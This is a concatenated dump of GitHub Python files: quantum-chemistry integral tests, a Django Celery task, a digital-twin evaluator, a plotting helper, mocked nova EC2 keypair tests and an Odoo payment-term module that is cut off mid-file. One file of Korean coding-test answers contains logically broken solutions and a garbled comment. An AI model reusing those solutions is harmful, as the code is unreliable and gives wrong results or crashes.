get_overlap(za, zb, ra, rb, [0, 0, 0, 0, 0, 0])\n    assert abs(integral - 0.20373275913014607) < 1.0e-16\n\n    integral = get_overlap(za, zb, ra, rb, [1, 0, 0, 0, 0, 0])\n    assert abs(integral - 0.062005622343957505) < 1.0e-16\n\n    integral = get_overlap(za, zb, ra, rb, [1, 1, 0, 1, 1, 0])\n    assert abs(integral - -0.00043801221837779696) < 1.0e-16\n\n    integral = get_overlap(za, zb, ra, rb, [2, 1, 0, 1, 1, 0])\n    assert abs(integral - -0.0002385994651113168) < 1.0e-16\n\n#-------------------------------------------------------------------------------\n\ndef get_kinetic(za, zb, ra, rb, c):\n\n    rp = get_bi_center(za, zb, ra, rb)\n\n    z = za + zb\n    e = za*zb/(za + zb)\n    ab = (ra[0] - rb[0])**2 + (ra[1] - rb[1])**2 + (ra[2] - rb[2])**2\n    aux = get_overlap(za, zb, ra, rb, [0, 0, 0, 0, 0, 0])\n\n    prefac = []\n    prefac.append(rp[0] - ra[0])\n    prefac.append(rp[0] - rb[0])\n    prefac.append(rp[1] - ra[1])\n    prefac.append(rp[1] - rb[1])\n    prefac.append(rp[2] - ra[2])\n    prefac.append(rp[2] - rb[2])\n    prefac.append(0.5/z)\n    prefac.append(0.5/z)\n    prefac.append(2.0*e)\n    prefac.append(-e/za)\n    prefac.append(-e/zb)\n\n    fun = X2(q=c)\n    expansion = apply_os2(fun, kind='T')\n    integral = 0.0\n    for f in expansion:\n        if f.kind == 'T':\n            g = e*(3.0 - 2.0*e*ab)\n            for k in f.prefactors:\n                g *= prefac[k]\n            integral += float(f.scale)*aux*g\n        if f.kind == 'S':\n            g = 1.0\n            for k in f.prefactors:\n                g *= prefac[k]\n            integral += float(f.scale)*aux*g\n    return integral\n\n#-------------------------------------------------------------------------------\n\ndef test_get_kinetic():\n\n    za = 1.8\n    zb = 2.0\n    ra = [0.0, 0.0, 0.0]\n    rb = [0.5, 0.8, -0.2]\n\n    integral = get_kinetic(za, zb, ra, rb, [0, 0, 0, 0, 0, 0])\n    assert abs(integral - 0.3652714583525358) < 1.0e-16\n\n    integral = get_kinetic(za, zb, ra, rb, [1, 0, 0, 0, 0, 0])\n    assert abs(integral - 0.2514265587836556) < 1.0e-16\n\n    integral = get_kinetic(za, zb, ra, rb, [2, 2, 2, 2, 2, 2])\n    assert abs(integral - -7.40057384314e-05) < 1.0e-16\n\n#-------------------------------------------------------------------------------\n\ndef get_nuclear(za, zb, ra, rb, rc, c):\n\n    z = za + zb\n    rp = get_bi_center(za, zb, ra, rb)\n    pc = (rp[0] - rc[0])**2 + (rp[1] - rc[1])**2 + (rp[2] - rc[2])**2\n\n    u = z*pc\n    aux = -2.0*(z/pi)**0.5*get_overlap(za, zb, ra, rb, [0, 0, 0, 0, 0, 0])\n\n    prefac = []\n    prefac.append(rp[0] - ra[0])\n    prefac.append(rp[0] - rb[0])\n    prefac.append(rp[1] - ra[1])\n    prefac.append(rp[1] - rb[1])\n    prefac.append(rp[2] - ra[2])\n    prefac.append(rp[2] - rb[2])\n    prefac.append(-rp[0] + rc[0])\n    prefac.append(-rp[1] + rc[1])\n    prefac.append(-rp[2] + rc[2])\n    prefac.append(0.5/z)\n    prefac.append(-0.5/z)\n\n    fun = X2(q=c)\n    expansion = apply_os2(fun, kind='N')\n    integral = 0.0\n    for f in expansion:\n        g = 1.0\n        for k in f.prefactors:\n            g *= prefac[k]\n        integral += float(f.scale)*aux*g*boys(f.order, u)\n    return integral\n\n#-------------------------------------------------------------------------------\n\ndef test_get_nuclear():\n\n    za = 1.8\n    zb = 2.0\n    ra = [0.0, 0.0, 0.0]\n    rb = [0.5, 0.8, -0.2]\n    rc = [0.5, 0.8, 0.2]\n\n    integral = get_nuclear(za, zb, ra, rb, rc, [0, 0, 0, 0, 0, 0])\n    assert abs(integral - -0.49742209545104593) < 1.0e-16\n\n    integral = get_nuclear(za, zb, ra, rb, rc, [1, 0, 0, 0, 0, 0])\n    assert abs(integral - -0.15987439458254471) < 1.0e-16\n\n    integral = get_nuclear(za, zb, ra, rb, rc, [2, 2, 2, 0, 0, 0])\n    assert abs(integral - -0.003801373531942607) < 1.0e-16\n\n    integral = get_nuclear(za, zb, ra, rb, rc, [1, 1, 1, 1, 1, 1])\n    assert abs(integral - 8.8415484347060993e-5) < 1.0e-16\n","repo_name":"bast/obara-saika","sub_path":"obara_saika.py","file_name":"obara_saika.py","file_ext":"py","file_size_in_byte":16558,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"37552632490","text":"# encoding=utf8\nfrom celery.task import periodic_task\nfrom celery.schedules import crontab\nfrom django.core.cache import cache\n\nfrom ask.models import User, UserVote, Ask, Answer, Tag\nfrom datetime import timedelta\nfrom django.db.models import Count\nfrom django.utils import timezone\nfrom random import shuffle\nfrom django.template import Template, loader\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Q\n\n\n@periodic_task(run_every=crontab(minute='*/1'))\ndef cache_top():\n    tags = Tag.objects.filter(asks__answers__date_create__gte=timezone.now() - timedelta(days=30)).annotate(\n        count=Count('title')).order_by('-count')[:10]\n\n    min_value = tags[len(tags) - 1].count\n    max_value = tags[0].count\n\n    tags_list = []\n\n    for tag in tags:\n        tag_item = dict()\n        tag_item[\"tag\"] = tag.tag\n        tag_item[\"value\"] = int(\n            round(float(float(tag.count - min_value + 1) / float(max_value - min_value + 1)) * float(8)))\n        tag_item[\"pk\"] = int(tag.pk),\n        tags_list.append(tag_item)\n\n    shuffle(tags_list)\n\n    t = loader.get_template('blocks/popular_tags.html')\n    context = {\n        'tags_list': tags_list\n    }\n    cache.set('top_tags', t.render(context=context), timeout=None)\n\n    users = User.object.filter(Q(asks__date_create__gte=timezone.now() - timedelta(days=30)) | Q(\n        answers__date_create__gte=timezone.now() - timedelta(days=30))).annotate(\n        count=Count('pk')).order_by('-count')[:10]\n\n    t = loader.get_template('blocks/best_members.html')\n    context = {\n        'users': users,\n    }\n    cache.set('top_users', t.render(context=context), timeout=None)\n","repo_name":"SkynetHackPro/ask_yaminsky","sub_path":"ask/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17192431378","text":"import pandas as pd\nimport datetime\nfrom dateutil import parser\n\nfrom ocpa.algo.conformance.token_based_replay import algorithm as diagnostics_factory\nfrom dtween.digitaltwin.ocel.objects.mdl.preprocessor import factory as mdl_preprocess_factory\nfrom dtween.available.constants import EVENT_FILTER, OBJECT_FILTER\nfrom dtween.util.util import REPLAY_DIAGNOSTICS_MAP, DIAGNOSTICS_FILTER_MAP, OPS_MAP\nfrom dtween.digitaltwin.digitaltwin.util import update_config\n\n\ndef gen_diagnostics_scheme(action_pattern_repo):\n    diagnostics_scheme = dict()\n    for ap in action_pattern_repo:\n        diag_dur = ap[\"condition\"][\"cond_duration\"]\n        cond_type = ap[\"condition\"][\"cond_type\"]\n        diag_type = REPLAY_DIAGNOSTICS_MAP[cond_type]\n        # diag_filter_type = DIAGNOSTICS_FILTER_MAP[diag_type]\n        diag_filter_type = EVENT_FILTER\n        if diag_dur not in diagnostics_scheme:\n            diagnostics_scheme[diag_dur] = {}\n            diagnostics_scheme[diag_dur][diag_type] = diag_filter_type\n        else:\n            diagnostics_scheme[diag_dur][diag_type] = diag_filter_type\n    return diagnostics_scheme\n\n\ndef gen_diagnostics_records(action_pattern_repo, dt, df, current_timestamp, interval, n_intervals):\n    diagnostics_scheme = gen_diagnostics_scheme(action_pattern_repo)\n    diagnostics_records = {}\n    for dur in diagnostics_scheme:\n        diag_start_timestamp = current_timestamp - \\\n            datetime.timedelta(hours=dur)\n        # diag_end_timestamp = current_timestamp + \\\n        #     datetime.timedelta(hours=interval*n_intervals)\n        diag_end_timestamp = current_timestamp\n        print(\"Diagnostics start at {} and ends at {}\".format(\n            diag_start_timestamp, diag_end_timestamp))\n        # diagnostics after event filtering\n        event_filtered_df = mdl_preprocess_factory.filter_by_timestamp(\n            df, start_timestamp=diag_start_timestamp, end_timestamp=diag_end_timestamp)\n        event_filtered_diagnostics = diagnostics_factory.apply(\n            dt.ocpn, event_filtered_df)\n\n        # diagnostics after object filtering\n        # TODO at the moment hard-coded to \"order\" type, but object graph concept should be used to be generalized.\n        object_filtered_df = mdl_preprocess_factory.object_filter_by_timestamp(\n            df, start_timestamp=diag_start_timestamp, end_timestamp=diag_end_timestamp, object_type=\"order\")\n        object_filtered_diagnostics = diagnostics = diagnostics_factory.apply(\n            dt.ocpn, object_filtered_df)\n        diagnostics = {}\n        for diag_type in diagnostics_scheme[dur]:\n            diag_type_filter = diagnostics_scheme[dur][diag_type]\n            if diag_type_filter == EVENT_FILTER:\n                diagnostics[diag_type] = event_filtered_diagnostics[diag_type]\n            elif diag_type_filter == OBJECT_FILTER:\n                diagnostics[diag_type] = object_filtered_diagnostics[diag_type]\n        diagnostics_records[dur] = diagnostics\n    return diagnostics_records\n\n\ndef evaluate(action_pattern_repo, dt, event_df, current_timestamp, interval, n_intervals, config_dir):\n    diagnostics_records = gen_diagnostics_records(action_pattern_repo, dt,\n                                                  event_df, current_timestamp, interval, n_intervals)\n    action_log = []\n    exp_log = []\n    for ap in action_pattern_repo:\n        exp = {}\n        trigger, eval_message, diag_val = evaluate_condition(\n            diagnostics_records, ap[\"condition\"])\n        exp[\"val\"] = diag_val\n        exp[\"time\"] = interval*n_intervals\n        if trigger:\n            action_message = execute_action(ap[\"action\"], config_dir)\n        else:\n            action_message = \"No action\"\n        exp[\"action\"] = action_message\n        action_log.append(\"[%s] %s -> \\n %s\" % (current_timestamp.strftime(\n            \"%Y-%m-%d, %H:%M:%S\"), eval_message, action_message))\n        exp_log.append(exp)\n    return action_log, exp_log\n\n\ndef evaluate_condition(diagnostics_records, condition):\n    dur = condition[\"cond_duration\"]\n    diag = diagnostics_records[dur]\n    cond_type = condition[\"cond_type\"]\n    diag_type = REPLAY_DIAGNOSTICS_MAP[cond_type]\n    operator = condition[\"cond_operator\"]\n    threshold = condition[\"cond_threshold\"]\n    el = condition[\"cond_element\"]\n    cond_name = condition[\"cond_name\"]\n    # if diag[diag_type] == \"act_count\":\n    #     if el not in diag[diag_type]['item'].keys():\n    #         return False, \"%s cannot be measured\" % (cond_name), None\n    #     else:\n    #         diag_val = diag[diag_type]['item'][el]\n    # else:\n    if el not in diag[diag_type].keys():\n        return False, \"%s cannot be measured\" % (cond_name), None\n    else:\n        diag_val = diag[diag_type][el]\n    # performance in seconds to hour\n    if 's' in str(diag_val):\n        diag_val = float(diag_val[:-1])/60\n    elif 'h' in str(diag_val):\n        diag_val = float(diag_val[:-1])\n    elif 'D' in str(diag_val):\n        diag_val = float(diag_val[:-1])*24\n    else:\n        diag_val = float(diag_val)\n    eval_message = \"Evaluate if {} {} {} at {}\".format(\n        diag_val, operator, threshold, el)\n    print(eval_message)\n    if OPS_MAP[operator](diag_val, threshold):\n        return True, \"%s evaluates to True\" % (cond_name), diag_val\n    else:\n        return False, \"%s evaluates to False\" % (cond_name), diag_val\n\n\ndef execute_action(action, config_dir):\n    valve = action[\"act_valve\"]\n    value = action[\"act_value\"]\n    update_config(config_dir, valve, value)\n    action_message = \"Update {} to {}\".format(valve, value)\n    print(action_message)\n    return action_message\n","repo_name":"gyunamister/OPerA","sub_path":"src/dtween/digitaltwin/digitaltwin/evaluation/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"13828182871","text":"# package imports #\n# --------------- #\nimport matplotlib\nimport matplotlib.font_manager\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\nfrom matplotlib.colorbar import Colorbar\n\n# local imports #\n# ------------- #\nfrom ._modify_ax_spines import _modify_ax_spines\nfrom ._set_minimal_ticks import _set_minimal_ticks\n\n# # matplotlib presets #\n# # ------------------ #\nfont = {\"size\": 12}\nmatplotlib.rc(font)\nmatplotlib.rcParams[\"font.sans-serif\"] = \"Arial\"\nmatplotlib.rcParams[\"font.family\"] = \"sans-serif\"\n\n\ndef _histogram_2d_component_plot(\n    data,\n    n_bins=20,\n    cmap=\"Purples\",\n    histcolor=\"#63439C\",\n    histalpha=1,\n    figsize=(7, 6),\n    title_fontsize=16,\n    label_fontsize=14,\n    suptitle=False,\n    save_path=False,\n):\n\n    \"\"\"\"\"\"\n\n    x_component, y_component = data[:, 0], data[:, 1]\n\n    # construct plot surface\n    fig = plt.figure(figsize=figsize)\n    gridspec = GridSpec(\n        nrows=2,\n        ncols=3,\n        height_ratios=[0.15, 1],\n        width_ratios=[0.2, 1, 0.075],\n        wspace=0.2,\n        hspace=0.1,\n    )\n\n    x_component_histogram = fig.add_subplot(gridspec[0, 1])\n    x_component_bins = x_component_histogram.hist(\n        x_component, bins=n_bins, color=histcolor, alpha=histalpha,\n    )\n    x_component_histogram.grid(True)\n    #     x_component_histogram.set_xticks([])\n\n    y_component_histogram = fig.add_subplot(gridspec[1, 0])\n    y_component_bins = y_component_histogram.hist(\n        y_component,\n        orientation=\"horizontal\",\n        bins=n_bins,\n        color=histcolor,\n        alpha=histalpha,\n    )\n    y_component_histogram.grid(True)\n\n    y_component_histogram.set_xlim(y_component_histogram.get_xlim()[::-1])\n\n    histogram_2d = fig.add_subplot(gridspec[1, 1])\n    bins_2d = histogram_2d.hist2d(x_component, y_component, bins=n_bins, cmap=cmap)\n\n    #     histogram_2d.set_yticks([bins_2d[2].min() + 1, bins_2d[2].max() - 1])\n\n    x_tick_min = int(bins_2d[1].min())\n    x_tick_max = int(bins_2d[1].max())\n\n    histogram_2d.set_xticks([x_tick_min, x_tick_max])\n    #\n\n    y_tick_min = int(bins_2d[2].min())\n    y_tick_max = int(bins_2d[2].max())\n\n    histogram_2d.set_yticks([y_tick_min, y_tick_max])\n    histogram_2d.yaxis.tick_right()\n    #     y_component_histogram.set_yticks([])\n\n    hist2d_spines = _modify_ax_spines(histogram_2d)\n    hist2d_spines.set_color(\"grey\")\n    #     spines.delete(select_spines=[\"top\", \"right\"])\n    hist2d_spines.set_position(position_type=\"axes\", amount=-0.05)\n    _set_minimal_ticks(histogram_2d, x_component, y_component)\n\n    #     for ax in [x_component_histogram, y_component_histogram, histogram_2d]:\n    #         spines = _modify_ax_spines(ax)\n    #         spines.delete()\n\n    hist2d_im = histogram_2d.imshow(data, cmap=cmap)\n    colorbar_ax = fig.add_subplot(gridspec[1:, 2])\n\n    cb = Colorbar(ax=colorbar_ax, mappable=hist2d_im, ticklocation=\"right\")\n    cb.outline.set_visible(False)\n    if suptitle:\n        plt.suptitle(suptitle, fontsize=title_fontsize, x=0.55)\n    plt.tight_layout()\n    if save_path:\n        out = plt.savefig(save_path)\n    plt.show()\n","repo_name":"mvinyard/vintools","sub_path":"vintools/_plotting/_histogram_2d_component_plot.py","file_name":"_histogram_2d_component_plot.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"37760757726","text":"# 프로그래머스 레벨 1 카드뭉치\ndef solution1(cards1, cards2, goal):\n    answer = 'Yes'\n    index1, index2 = 0, 0\n    for word in goal:\n        if index1 == len(cards1) and word < cards1[index1]:\n            index1 += 1\n        elif index2 == len(cards2) and word < cards2[index2]:\n            index2 += 1\n        else:\n            answer = 'No'\n            break\n    return answer\n\n# 프로그래머스 레벨 1 체육복\ndef solution2(n, lost, reserve):\n    answer = 0\n    reserved = set(reserve)\n    losted = set(lost) #(체육복 )\n\n    for i in reserved:\n        if i - i in losted:\n            losted.remove(i - 1) # 왼쪽 학ㅐㅁㅈㅈㅈㅈㅈㅈㄴ\n        elif i + 1 in losted:\n            losted.remove(i + 1) # 오른쪽 학생에게 옷 빌려주기\n    \n    answer = n - len(losted)\n    return answer\n","repo_name":"Tarel-Github/python-codingtest-2023","sub_path":"CodingTest/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19066879802","text":"import boto\nimport mock\n\nfrom moto import mock_ec2_deprecated\nfrom nova import test\nfrom nova.virt.ec2.keypair import KeyPairNotifications\n\n\nclass KeyPairNotificationsTestCase(test.NoDBTestCase):\n    @mock_ec2_deprecated\n    def setUp(self):\n        super(KeyPairNotificationsTestCase, self).setUp()\n        fake_access_key = 'aws_access_key'\n        fake_secret_key = 'aws_secret_key'\n        region_name = 'us-west-1'\n        region = boto.ec2.get_region(region_name)\n        self.fake_aws_conn = boto.ec2.EC2Connection(\n            aws_access_key_id=fake_access_key,\n            aws_secret_access_key=fake_secret_key,\n            region=region)\n        self.flags(rabbit_port=5672)\n        self.conn = KeyPairNotifications(self.fake_aws_conn,\n                                         transport='memory')\n\n    def test_handle_notification_create_event(self):\n        body = {'event_type': 'keypair.create.start'}\n        with mock.patch.object(boto.ec2.EC2Connection, 'delete_key_pair') \\\n                as mock_delete:\n            self.conn.handle_notification(body, None)\n            mock_delete.assert_not_called()\n\n    def test_handle_notifications_no_event_type(self):\n        body = {}\n        with mock.patch.object(boto.ec2.EC2Connection, 'delete_key_pair') \\\n                as mock_delete:\n            self.conn.handle_notification(body, None)\n            mock_delete.assert_not_called()\n\n    @mock_ec2_deprecated\n    def test_handle_notifications_delete_key(self):\n        fake_key_name = 'fake_key'\n        fake_key_data = 'fake_key_data'\n        self.fake_aws_conn.import_key_pair(fake_key_name, fake_key_data)\n        body = {'event_type': 'keypair.delete.start',\n                'payload': {\n                    'key_name': fake_key_name\n                    }\n                }\n        self.conn.handle_notification(body, None)\n        aws_keypairs = self.fake_aws_conn.get_all_key_pairs()\n        self.assertEqual(len(aws_keypairs), 0)\n\n    @mock_ec2_deprecated\n    def test_handle_notifications_delete_key_with_multiple_keys_in_aws(self):\n        fake_key_name_1 = 'fake_key_1'\n        fake_key_data_1 = 'fake_key_data_1'\n        fake_key_name_2 = 'fake_key_2'\n        fake_key_data_2 = 'fake_key_data_2'\n        self.fake_aws_conn.import_key_pair(fake_key_name_1, fake_key_data_1)\n        self.fake_aws_conn.import_key_pair(fake_key_name_2, fake_key_data_2)\n        body = {'event_type': 'keypair.delete.start',\n                'payload': {\n                    'key_name': fake_key_name_1\n                    }\n                }\n        self.conn.handle_notification(body, None)\n        aws_keypairs = self.fake_aws_conn.get_all_key_pairs()\n        self.assertEqual(len(aws_keypairs), 1)\n        self.assertEqual(aws_keypairs[0].name, fake_key_name_2)\n","repo_name":"kurisukotetsu/omni-no-Credsmgr","sub_path":"nova/tests/unit/virt/ec2/test_keypair.py","file_name":"test_keypair.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40750668585","text":"# -*- coding: utf-8 -*-\nfrom openerp.tools.float_utils import float_round as round\nfrom openerp.exceptions import AccessError, UserError, ValidationError, except_orm\nfrom openerp.addons.base_openprod.common import get_form_view\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom openerp import api, fields, models, _\nfrom openerp import SUPERUSER_ID\nimport time\nimport openerp.addons.decimal_precision as dp\n\nimport logging\n_logger = logging.getLogger(__name__)\n\n# ---------------------------------------------------------\n# Account generation from template wizards\n# ---------------------------------------------------------\n\nclass WizardMultiChartsAccounts(models.TransientModel):\n    _inherit = 'wizard.multi.charts.accounts'\n    \n    def generate_properties(self, cr, uid, chart_template_id, acc_template_ref, company_id, context=None):\n        \"\"\"\n        This method used for creating properties.\n\n        :param chart_template_id: id of the current chart template for which we need to create properties\n        :param acc_template_ref: Mapping between ids of account templates and real accounts created from them\n        :param company_id: company_id selected from wizard.multi.charts.accounts.\n        :returns: True\n        \"\"\"\n        property_obj = self.pool.get('ir.property')\n        field_obj = self.pool.get('ir.model.fields')\n        todo_list = [\n            ('property_account_receivable_id','res.partner','account.account'),\n            ('property_account_payable_id','res.partner','account.account'),\n            ('property_account_expense_categ_id','product.category','account.account'),\n            ('property_account_income_categ_id','product.category','account.account'),\n            ('property_account_expense','product.product','account.account'),\n            ('property_account_income','product.product','account.account'),\n        ]\n        template = self.pool.get('account.chart.template').browse(cr, uid, chart_template_id, context=context)\n        for record in todo_list:\n            account = getattr(template, record[0])\n            value = account and 'account.account,' + str(acc_template_ref[account.id]) or False\n            if value:\n                field = field_obj.search(cr, uid, [('name', '=', record[0]),('model', '=', record[1]),('relation', '=', record[2])], context=context)\n                vals = {\n                    'name': record[0],\n                    'company_id': company_id,\n                    'fields_id': field[0],\n                    'value': value,\n                }\n                property_ids = property_obj.search(cr, uid, [('name','=', record[0]),('company_id', '=', company_id)], context=context)\n                if property_ids:\n                    #the property exist: modify it\n                    property_obj.write(cr, uid, property_ids, vals, context=context)\n                else:\n                    #create the property\n                    property_obj.create(cr, uid, vals, context=context)\n        return True\n    \n\n    def execute(self, cr, uid, ids, context=None):\n        '''\n        This function is called at the confirmation of the wizard to generate the COA from the templates. It will read\n        all the provided information to create the accounts, the banks, the journals, the taxes, the tax codes, the\n        accounting properties... accordingly for the chosen company.\n        '''\n        if uid != SUPERUSER_ID and not self.pool['res.users'].has_group(cr, uid, 'base.group_erp_manager'):\n            raise AccessError(_(\"Only administrators can change the settings\"))\n        \n        obj_data = self.pool.get('ir.model.data')\n        ir_values_obj = self.pool.get('ir.values')\n        obj_wizard = self.browse(cr, uid, ids[0])\n        company_id = obj_wizard.company_id.id\n\n        self.pool.get('res.company').write(cr, uid, [company_id], {'currency_id': obj_wizard.currency_id.id})\n\n        # When we install the CoA of first company, set the currency to price types and pricelists\n        if company_id==1:\n            for ref in (('product','list_price'),('product','standard_price'),('product','list0'),('purchase','list0')):\n                try:\n                    tmp2 = obj_data.get_object_reference(cr, uid, *ref)\n                    if tmp2: \n                        self.pool[tmp2[0]].write(cr, uid, tmp2[1], {\n                            'currency_id': obj_wizard.currency_id.id\n                        })\n                except ValueError:\n                    pass\n\n        # If the floats for sale/purchase rates have been filled, create templates from them\n        self._create_tax_templates_from_rates(cr, uid, obj_wizard, company_id, context=context)\n\n        # Install all the templates objects and generate the real objects\n        acc_template_ref, taxes_ref, tax_code_ref = self._install_template(cr, uid, obj_wizard.chart_template_id.id, company_id, code_digits=obj_wizard.code_digits, obj_wizard=obj_wizard, context=context)\n\n        # write values of default taxes for product as super user\n        if obj_wizard.sale_tax and taxes_ref:\n            ir_values_obj.set_default(cr, SUPERUSER_ID, 'product.product', \"taxes_id\", [taxes_ref[obj_wizard.sale_tax.id]], for_all_users=True, company_id=company_id)\n        if obj_wizard.purchase_tax and taxes_ref:\n            ir_values_obj.set_default(cr, SUPERUSER_ID, 'product.product', \"supplier_taxes_id\", [taxes_ref[obj_wizard.purchase_tax.id]], for_all_users=True, company_id=company_id)\n\n        # Create Bank journals\n        self._create_bank_journals_from_o2m(cr, uid, obj_wizard, company_id, acc_template_ref, context=context)\n        return {}\n\n    \n    \nclass account_payment_term(models.Model):\n    _inherit = 'account.payment.term'\n    \n    @api.model\n    def _payment_type_get(self):\n        return [\n                ('before_validation', _('On the order')),\n                ('before_delivery', _('Before delivery')),\n                ('after_invoicing', _('After invoicing')),\n                       ]\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    payment_type = fields.Selection('_payment_type_get', string='Type', required=True, default='after_invoicing', help=\"Choose the type of the payment.\"\n                                    \"On the order will block the order before the payment validation and before delivery will block the delivery \"\n                                    \"before the payment validation.\")\n    invoice_date = fields.Date(string='Invoice date')\n    invoice_date_due = fields.Date(string='Invoice date due')\n    \n    \n    @api.multi\n    def compute_date_due(self):\n        \"\"\"\n            Fonction du bouton permettant de calculer la date d'échéance à partir d'une date de facture\n        \"\"\"\n        for term in self:\n            if term.invoice_date:\n                pterm_list = term.compute(value=1, date_ref=term.invoice_date)[0]\n                if pterm_list:\n                    self.invoice_date_due = max(line[0] for line in pterm_list)\n                \n        return True\n    \n    def compute_line_term(self, line, amount, result, prec, date_ref, value):\n        if line.value == 'fixed':\n            amt = round(line.value_amount, prec)\n        elif line.value == 'procent':\n            amt = round(value * line.value_amount, prec)\n        elif line.value == 'balance':\n            amt = round(amount, prec)\n            \n        if amt:\n            if line.term_type == 'days_end_then_month':\n                next_date = datetime.strptime(date_ref, '%Y-%m-%d') + relativedelta(days=line.days)\n                next_first_date = next_date + relativedelta(day=1, months=1)\n                next_date = next_first_date + relativedelta(days=-1)\n                if line.days2 > 0:\n                    next_date += relativedelta(day=line.days2, months=1)\n                    \n            elif line.term_type == 'end_days_then_month':\n                next_date = datetime.strptime(date_ref, '%Y-%m-%d')\n                next_first_date = next_date + relativedelta(day=1, months=1)\n                next_date = next_first_date + relativedelta(days=-1)\n                next_date = (next_date + relativedelta(days=line.days))\n                if line.days2 < 0:\n                    next_first_date = next_date + relativedelta(day=1, months=1)\n                    next_date = next_first_date + relativedelta(days=line.days2)\n                elif line.days2 > 0:\n                    if next_date.day > line.days2:\n                        next_date += relativedelta(day=line.days2, months=1)\n                    elif next_date.day < line.days2:\n                        next_date += relativedelta(day=line.days2)\n            \n            elif line.term_type == 'days_then_month':\n                next_date = datetime.strptime(date_ref, '%Y-%m-%d') + relativedelta(days=line.days)\n                if line.days2 < 0:\n                    next_first_date = next_date + relativedelta(day=1, months=1) \n                    next_date = next_first_date + relativedelta(days=line.days2)\n                elif line.days2 > 0:\n                    if next_date.day > line.days2:\n                        next_date += relativedelta(day=line.days2, months=1)\n                    elif next_date.day < line.days2:\n                        next_date += relativedelta(day=line.days2)\n                    \n            elif line.term_type == 'month_then_days':\n                next_date = datetime.strptime(date_ref, '%Y-%m-%d')\n                if line.days2 < 0:\n                    next_first_date = next_date + relativedelta(day=1, months=1)\n                    next_date = next_first_date + relativedelta(days=line.days2)\n                    \n                elif line.days2 > 0:\n                    if next_date.day > line.days2:\n                        next_date += relativedelta(day=line.days2, months=1)\n                    elif next_date.day < line.days2:\n                        next_date += relativedelta(day=line.days2)\n                    \n                next_date += relativedelta(days=line.days)\n                \n            result.append((next_date.strftime('%Y-%m-%d'), amt))\n            amount -= amt\n        \n        return amount, result\n        \n        \n            \n    @api.one\n    def compute(self, value, date_ref=False):\n        \"\"\"\n            On remplace la fonction de base d'Odoo afin de prendre en compte le type de calcul pour la date d'échéance\n        \"\"\"\n        if not date_ref:\n            date_ref = datetime.now().strftime('%Y-%m-%d')\n            \n        amount = value\n        result = []\n        obj_precision = self.env['decimal.precision']\n        prec = obj_precision.precision_get('Account')\n        for line in self.line_ids:\n            amount, result = self.compute_line_term(line, amount, result, prec, date_ref, value)\n\n        amount = reduce(lambda x,y: x+y[1], result, 0.0)\n        dist = round(value-amount, prec)\n        if dist:\n            result.append((time.strftime('%Y-%m-%d'), dist))\n            \n        return result\n    \n    \n    \nclass account_payment_term_line(models.Model):\n    _inherit = 'account.payment.term.line'\n    @api.model\n    def _term_type_get(self):\n        return [\n            ('days_end_then_month', _('Day number + end of month + day in the month')),\n            ('end_days_then_month', _('End of month + day number + day in the month')),\n            ('month_then_days', _('Day in the month + day number')),\n            ('days_then_month', _('Day number + day in the month')),\n               ]\n        \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    term_type = fields.Selection('_term_type_get', string='Compute type', required=True, default='days_then_month',\n                                 help=\"\"\"Choose the type of the computation. If invoice date=05/10, number of days=45 and day of month=-1:\nIf you choose 'Day in the month + day number', then the due date is 30/11.\nIf you choose 'Day number + day in the month', then the due date is 15/12.\"\"\")\n            \n            \n    @api.onchange('value', 'value_amount')\n    def _onchange_value(self):\n        res = {}\n        if self.value == 'procent':\n            if self.value_amount < 0:\n                self.value_amount = 0\n                res = {'warning': {'title': _('Warning'), 'message': _('Error! The percentage must be between 0 and 1.')}}\n            elif self.value_amount > 1:\n                self.value_amount = 1\n                res = {'warning': {'title': _('Warning'), 'message': _('Error! The percentage must be between 0 and 1.')}}\n        \n        return res\n    \n    \n    \nclass account_invoicing_method_payment_line(models.Model):\n    \"\"\"\n        Paiement anticipé\n    \"\"\"\n    _name = 'account.invoicing.method.payment.line'\n    _order = 'payment_type'\n    \n    @api.model\n    def _payment_type_get(self):\n        return [('before_validation', _('On the order')),\n                ('before_delivery', _('Before delivery'))]\n    \n\n    @api.model\n    def _value_get(self):\n        return [('procent', _('Percent')),\n                ('fixed', _('Fixed amount'))]\n        \n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    payment_type = fields.Selection('_payment_type_get', string='Type', required=True, default='before_validation', help=\"Choose the type of the payment.\"\n                                    \"On the order will block the order before the payment validation and before delivery will block the delivery \"\n                                    \"before the payment validation.\")\n    value = fields.Selection('_value_get', required=True)\n    value_amount = fields.Float(string='Amount to pay', digits=dp.get_precision('Payment Term'), default=0.0, required=False, help=\"For percent enter a ratio between 0-1.\")\n    is_blocking = fields.Boolean(string='Is blocking', default=False)\n    invoicing_method_id = fields.Many2one('account.invoicing.method', 'Invoicing method', required=True, select=True, ondelete='cascade')\n            \n            \n    @api.onchange('value', 'value_amount')\n    def _onchange_value(self):\n        res = {}\n        if self.value == 'procent':\n            if self.value_amount < 0:\n                self.value_amount = 0\n                res = {'warning': {'title': _('Warning'), 'message': _('Error! The percentage must be between 0 and 1.')}}\n            elif self.value_amount > 1:\n                self.value_amount = 1\n                res = {'warning': {'title': _('Warning'), 'message': _('Error! The percentage must be between 0 and 1.')}}\n        \n        return res\n\n\n\nclass account_invoicing_method_line(models.Model):\n    \"\"\"\n        Ligne de méthode de facturation\n    \"\"\"\n    _name = 'account.invoicing.method.line'\n    _rec_name = 'sequence'\n    \n    @api.model\n    def _value_get(self):\n        return [('procent', 